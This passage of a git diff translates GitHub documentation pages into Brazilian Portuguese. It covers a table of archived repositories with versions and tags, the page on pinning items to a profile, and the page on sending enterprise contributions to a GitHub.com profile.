-| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) |
-| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) |
-| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) |
-| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) |
-| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) |
-| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) |
-| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) |
-| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) |
-| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) |
-| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) |
-| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) |
-| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) |
-| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) |
-| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) |
-| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) |
-| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) |
-| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) |
-| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) |
-| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) |
-| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) |
-| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) |
-| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) |
-| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
-| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) |
-| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) |
-| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) |
-| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) |
-| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) |
-| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) |
-| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) |
-| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) |
-| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) |
-| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) |
-| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) |
+| {% data variables.product.prodname_dotcom %} Repositório                      | Versão    | Tag                                                                                                        |
+| ----------------------------------------------------------------------------- | --------- | ---------------------------------------------------------------------------------------------------------- |
+| [torvalds/linux](https://github.com/torvalds/linux)                           | 3.4       | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4)                                                |
+| [python/cpython](https://github.com/python/cpython)                           | 3.9.2     | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2)                                            |
+| [boto/boto3](https://github.com/boto/boto3)                                   | 1.17.17   | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17)                                              |
+| [boto/botocore](https://github.com/boto/botocore)                             | 1.20.11   | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11)                                           |
+| [certifi/python-certifi](https://github.com/certifi/python-certifi)           | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05)                            |
+| [chardet/chardet](https://github.com/chardet/chardet)                         | 4.0.0     | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0)                                             |
+| [matplotlib/cycler](https://github.com/matplotlib/cycler)                     | 0.10.0    | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0)                                       |
+| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py)       | 6.8.1     | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1)                                    |
+| [ianare/exif-py](https://github.com/ianare/exif-py)                           | 2.3.2     | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2)                                              |
+| [kjd/idna](https://github.com/kjd/idna)                                       | 2.10      | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10)                                                    |
+| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py)               | 0.10.0    | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0)                                      |
+| [nucleic/kiwi](https://github.com/nucleic/kiwi)                               | 1.3.1     | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1)                                                |
+| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib)             | 3.3.4     | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4)                                     |
+| [numpy/numpy](https://github.com/numpy/numpy)                                 | 1.20.1    | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1)                                             |
+| [opencv/opencv-python](https://github.com/opencv/opencv-python)               | 4.5.1.48  | [48](https://github.com/opencv/opencv-python/releases/tag/48)                                              |
+| [python-pillow/Pillow](https://github.com/python-pillow/Pillow)               | 8.1.0     | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0)                                        |
+| [pycurl/pycurl](https://github.com/pycurl/pycurl)                             | 7.43.0.6  | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6)                             |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing)                 | 2.4.7     | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7)                     |
+| [pyserial/pyserial](https://github.com/pyserial/pyserial)                     | 3.5       | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5)                                             |
+| [dateutil/dateutil](https://github.com/dateutil/dateutil)                     | 2.8.1     | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1)                                           |
+| [yaml/pyyaml ](https://github.com/yaml/pyyaml)                                | 5.4.1     | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1)                                                 |
+| [psf/requests](https://github.com/psf/requests)                               | 2.25.1    | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1)                                            |
+| [boto/s3transfer](https://github.com/boto/s3transfer)                         | 0.3.4     | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4)                                             |
+| [enthought/scimath](https://github.com/enthought/scimath)                     | 4.2.0     | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0)                                           |
+| [scipy/scipy](https://github.com/scipy/scipy)                                 | 1.6.1     | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1)                                               |
+| [benjaminp/six](https://github.com/benjaminp/six)                             | 1.15.0    | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0)                                             |
+| [enthought/traits](https://github.com/enthought/traits)                       | 6.2.0     | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0)                                            |
+| [urllib3/urllib3](https://github.com/urllib3/urllib3)                         | 1.26.3    | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3)                                           |
+| [python-attrs/attrs](https://github.com/python-attrs/attrs)                   | 19.3.0    | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0)                                        |
+| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/)    | 3.2.4     | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4)                                   |
+| [pallets/click](https://github.com/pallets/click)                             | 7.0       | [7.0](https://github.com/pallets/click/releases/tag/7.0)                                                   |
+| [pallets/flask](https://github.com/pallets/flask)                             | 1.1.1     | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1)                                               |
+| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7     | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7)                                 |
+| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig)               | 1.0.0     | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0)                                      |
+| [pallets/itsdangerous](https://github.com/pallets/itsdangerous)               | 1.1.0     | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0)                                        |
+| [pallets/jinja](https://github.com/pallets/jinja)                             | 2.10.3    | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3)                                             |
+| [lxml/lxml](https://github.com/lxml/lxml)                                     | 4.4.1     | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1)                                         |
+| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown)       | 3.1.1     | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1)                                    |
+| [pallets/markupsafe](https://github.com/pallets/markupsafe)                   | 1.1.1     | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1)                                          |
+| [pypa/packaging](https://github.com/pypa/packaging)                           | 19.2      | [19.2](https://github.com/pypa/packaging/releases/tag/19.2)                                                |
+| [pexpect/pexpect](https://github.com/pexpect/pexpect)                         | 4.7.0     | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0)                                             |
+| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy)                     | 0.13.0    | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0)                                         |
+| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess)                   | 0.6.0     | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0)                                          |
+| [pytest-dev/py](https://github.com/pytest-dev/py)                             | 1.8.0     | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0)                                               |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing)                 | 2.4.5     | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5)                     |
+| [pytest-dev/pytest](https://github.com/pytest-dev/pytest)                     | 5.3.0     | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0)                                           |
+| [stub42/pytz](https://github.com/stub42/pytz)                                 | 2019.3    | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3)                               |
+| [uiri/toml](https://github.com/uiri/toml)                                     | 0.10.0    | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0)                                                 |
+| [pallets/werkzeug](https://github.com/pallets/werkzeug)                       | 0.16.0    | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0)                                          |
+| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable)         | 1.2       | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2)                                       |
+| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic)   | 2.9.1.1   | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1)                    |
+| [nasa/fprime](https://github.com/nasa/fprime)                                 | 1.3       | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3)                                         |
+| [nucleic/cppy](https://github.com/nucleic/cppy)                               | 1.1.0     | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0)                                                |
+| [opencv/opencv](https://github.com/opencv/opencv)                             | 4.5.1     | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1)                                               |
+| [curl/curl](https://github.com/curl/curl)                                     | 7.72.0    | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0)                                     |
+| [madler/zlib](https://github.com/madler/zlib)                                 | 1.2.11    | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11)                                             |
+| [apache/lucene](https://github.com/apache/lucene)                             | 7.7.3     | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
+| [yaml/libyaml](https://github.com/yaml/libyaml)                               | 0.2.5     | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5)                                                |
+| [elastic/elasticsearch](https://github.com/elastic/elasticsearch)             | 6.8.1     | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1)                                     |
+| [twbs/bootstrap](https://github.com/twbs/bootstrap)                           | 4.3.1     | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1)                                            |
+| [vuejs/vue](https://github.com/vuejs/vue)                                     | 2.6.10    | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10)                                               |
+| [carrotsearch/hppc](https://github.com/carrotsearch/hppc)                     | 0.7.1     | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1)                                           |
+| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time)                     | 2.10.1    | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1)                                       |
+| [tdunning/t-digest](https://github.com/tdunning/t-digest)                     | 3.2       | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2)                             |
+| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram)     | 2.1.9     | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9)         |
+| [locationtech/spatial4j](https://github.com/locationtech/spatial4j)           | 0.7       | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7)                      |
+| [locationtech/jts](https://github.com/locationtech/jts)                       | 1.15.0    | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0)                                  |
+| [apache/logging-log4j2](https://github.com/apache/logging-log4j2)             | 2.11      | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0)                         |
 
-## Further reading
+## Leia mais
 
-- "[About your profile](/articles/about-your-profile)"
+- "[Sobre seu perfil](/articles/about-your-profile)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
index 236984b315..6d4e4cbca9 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Pinning items to your profile
-intro: You can pin gists and repositories to your profile so other people can quickly see your best work.
+title: Fixar itens no seu perfil
+intro: Você pode fixar gists e repositórios no seu perfil para que outras pessoas possam ver seu melhor trabalho rapidamente.
 redirect_from:
   - /articles/pinning-repositories-to-your-profile
   - /articles/pinning-items-to-your-profile
@@ -12,28 +12,24 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Pin items
+shortTitle: Fixar itens
 ---
-You can pin a public repository if you own the repository or you've made contributions to the repository. Commits to forks don't count as contributions, so you can't pin a fork that you don't own. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
 
-You can pin any public gist you own.
+É possível fixar um repositório público se você detém o repositório ou se fez contribuições ao repositório. Os commits em bifurcações não contam como contribuições e não é possível fixar uma bifurcação que não pertence a você. Para obter mais informações, consulte "[Por que minhas contribuições não aparecem no meu perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
 
-Pinned items include important information about the item, like the number of stars a repository has received or the first few lines of a gist. Once you pin items to your profile, the "Pinned" section replaces the "Popular repositories" section on your profile.
+Você pode fixar qualquer gist público do qual você é proprietário.
 
-You can reorder the items in the "Pinned" section. In the upper-right corner of a pin, click {% octicon "grabber" aria-label="The grabber symbol" %}  and drag the pin to a new location.
+Os itens fixados incluem informações importantes sobre o item, como, por exemplo, o número de estrelas que um repositório recebeu ou as primeiras linhas de um gist. Depois de fixar itens, a seção "Pinned" (Fixos) substitui a seção "Popular repositories" (Repositórios populares) no seu perfil.
+
+É possível reordenar os itens na seção "Pinned" (Fixos). No canto superior direito de um item fixo, clique em {% octicon "grabber" aria-label="The grabber symbol" %} e arraste o item para um novo local.
 
 {% data reusables.profile.access_profile %}
-2. In the "Popular repositories" or "Pinned" section, click **Customize your pins**.
-	![Customize your pins button](/assets/images/help/profile/customize-pinned-repositories.png)
-3. To display a searchable list of items to pin, select "Repositories", "Gists", or both.
-	![Checkboxes to select the types of items to display](/assets/images/help/profile/pinned-repo-picker.png)
-4. Optionally, to make it easier to find a specific item, in the filter field, type the name of a user, organization, repository, or gist.
-	![Filter items](/assets/images/help/profile/pinned-repo-search.png)
-5. Select a combination of up to six repositories and/or gists to display.
-	![Select items](/assets/images/help/profile/select-items-to-pin.png)
-6. Click **Save pins**.
-	![Save pins button](/assets/images/help/profile/save-pinned-repositories.png)
+2. Na seção "Popular repositories" (Repositórios populares) ou "Pinned" (Fixos), clique em **Customize your pins** (Personalizar seus itens fixos). ![Botão Customize your pins (Personalizar seus itens fixos)](/assets/images/help/profile/customize-pinned-repositories.png)
+3. Para exibir uma lista de itens pesquisáveis para fixar, selecione "Repositories" (Repositórios), "Gists" ou ambos. ![Caixas de seleção para escolher os tipos de itens para exibir](/assets/images/help/profile/pinned-repo-picker.png)
+4. Como opção para encontrar mais facilmente um item específico, digite o nome de um usuário, organização, repositório ou gist no campo de filtro. ![Filtrar itens](/assets/images/help/profile/pinned-repo-search.png)
+5. Selecione uma combinação de até seis repositórios e/ou gists para exibir. ![Selecionar itens](/assets/images/help/profile/select-items-to-pin.png)
+6. Clique em **Save pins** (Salvar itens fixos). ![Botão Save pins (Salvar itens fixos)](/assets/images/help/profile/save-pinned-repositories.png)
 
-## Further reading
+## Leia mais
 
-- "[About your profile](/articles/about-your-profile)"
+- "[Sobre seu perfil](/articles/about-your-profile)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
index 9084cb9a07..ea04691a7c 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Sending enterprise contributions to your GitHub.com profile
-intro: 'You can highlight your work on {% data variables.product.prodname_enterprise %} by sending the contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile.'
+title: Enviar contribuições corporativas para seu perfil do GitHub.com
+intro: 'Você pode destacar seu trabalho no {% data variables.product.prodname_enterprise %} enviando as contagens de contribuição para seu perfil do {% data variables.product.prodname_dotcom_the_website %}.'
 redirect_from:
   - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile
   - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile
@@ -14,49 +14,46 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Send enterprise contributions
+shortTitle: Envie contribuições corporativas
 ---
 
-## About enterprise contributions on your {% data variables.product.prodname_dotcom_the_website %} profile
+## Sobre contribuições corporativas no seu perfil de {% data variables.product.prodname_dotcom_the_website %}
 
-Your {% data variables.product.prodname_dotcom_the_website %} profile shows {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} contribution counts from the past 90 days. {% data reusables.github-connect.sync-frequency %} Contribution counts from {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} are considered private contributions. The commit details will only show the contribution counts and that these contributions were made in a {% data variables.product.prodname_enterprise %} environment outside of {% data variables.product.prodname_dotcom_the_website %}.
+Seu perfil de {% data variables.product.prodname_dotcom_the_website %} mostra {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} contagens de contribuição nos últimos 90 dias. {% data reusables.github-connect.sync-frequency %} As contagens de contribuição de {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} são consideradas contribuições privadas. Os detalhes de commit mostrarão apenas a contagem de contribuição e que essas contribuições foram feitas em um ambiente {% data variables.product.prodname_enterprise %} fora de {% data variables.product.prodname_dotcom_the_website %}.
 
-You can decide whether to show counts for private contributions on your profile. For more information, see "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)."
+Você pode decidir se deseja mostrar contribuições privadas no seu perfil. Para obter mais informações, consulte "[Mostrar ou ocultar contribuições privadas no perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/)".
 
-For more information about how contributions are calculated, see "[Managing contribution graphs on your profile](/articles/managing-contribution-graphs-on-your-profile/)."
+Para obter mais informações sobre como as contribuições são calculadas, consulte "[Gerenciar gráficos de contribuição no perfil](/articles/managing-contribution-graphs-on-your-profile/)".
 
 {% note %}
 
-**Notes:**
-- The connection between your accounts is governed by <a href="/articles/github-privacy-statement/" class="dotcom-only">GitHub's Privacy Statement</a> and users enabling the connection agree to the <a href="/articles/github-terms-of-service/" class="dotcom-only">GitHub's Terms of Service</a>.
+**Notas:**
+- A conexão entre as contas é controlada pela <a href="/articles/github-privacy-statement/" class="dotcom-only">Declaração de privacidade do GitHub</a>, e os usuários que ativam a conexão concordam com os <a href="/articles/github-terms-of-service/" class="dotcom-only">Termos de serviço do GitHub</a>.
 
-- Before you can connect your {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} profile to your {% data variables.product.prodname_dotcom_the_website %} profile, your enterprise owner must enable {% data variables.product.prodname_github_connect %} and enable contribution sharing between the environments. For more information, contact your enterprise owner.
+- Antes de você poder conectar seu perfil de {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} ao seu perfil de {% data variables.product.prodname_dotcom_the_website %}, o proprietário da sua empresa deverá habilitar {% data variables.product.prodname_github_connect %} e habilitar o compartilhamento de contribuições entre os ambientes. Para obter mais informações, entre em contato com o proprietário da empresa.
 
 {% endnote %}
 
-## Sending your enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile
+## Enviando suas contribuições corporativas para o perfil de {% data variables.product.prodname_dotcom_the_website %}
 
 {% ifversion fpt or ghec %}
 
-- To send enterprise contributions from {% data variables.product.prodname_ghe_server %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_server %} documentation.
-- To send enterprise contributions from {% data variables.product.prodname_ghe_managed %} to your {% data variables.product.prodname_dotcom_the_website %} profile, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" in the {% data variables.product.prodname_ghe_managed %} documentation.
+- Para enviar contribuições corporativas de {% data variables.product.prodname_ghe_server %} para seu perfil de {% data variables.product.prodname_dotcom_the_website %}, consulte "[Enviando contribuições corporativas para o seu perfil de {% data variables.product.prodname_dotcom_the_website %}](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" na documentação de {% data variables.product.prodname_ghe_server %}.
+- Para enviar contribuições corporativas de {% data variables.product.prodname_ghe_managed %} para seu perfil de {% data variables.product.prodname_dotcom_the_website %}, consulte "[Enviando contribuições corporativas para o seu perfil de {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)" na documentação de {% data variables.product.prodname_ghe_managed %}.
 
 {% elsif ghes %}
 
-1. Sign in to {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-   ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. Efetue o login em {% data variables.product.prodname_ghe_server %} e em {% data variables.product.prodname_dotcom_the_website %}.
+1. No canto superior direito de qualquer página do {% data variables.product.prodname_ghe_server %}, clique na sua foto do perfil e em **Configurações**. ![Ícone Settings (Configurações) na barra de usuário](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
-1. Review the resources that {% data variables.product.prodname_ghe_server %} will access from your {% data variables.product.prodname_dotcom_the_website %} account, then click **Authorize**.
-   ![Authorize connection between GitHub Enterprise Server and GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png)
+1. Revise os recursos que {% data variables.product.prodname_ghe_server %} terá acesso a partir da sua conta {% data variables.product.prodname_dotcom_the_website %} e então, clique em **Authorize** (Autorizar). ![Autorizar conexão entre o GitHub Enterprise Server e GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png)
 {% data reusables.github-connect.send-contribution-counts-to-githubcom %}
 
 {% elsif ghae %}
 
-1. Sign in to {% data variables.product.prodname_ghe_managed %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.prodname_ghe_managed %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-   ![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. Efetue o login em {% data variables.product.prodname_ghe_managed %} e em {% data variables.product.prodname_dotcom_the_website %}.
+1. No canto superior direito de qualquer página do {% data variables.product.prodname_ghe_managed %}, clique na sua foto do perfil e em **Configurações**. ![Ícone Settings (Configurações) na barra de usuário](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
 {% data reusables.github-connect.authorize-connection %}
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md
index 390e4d81e0..87ddb5832d 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md
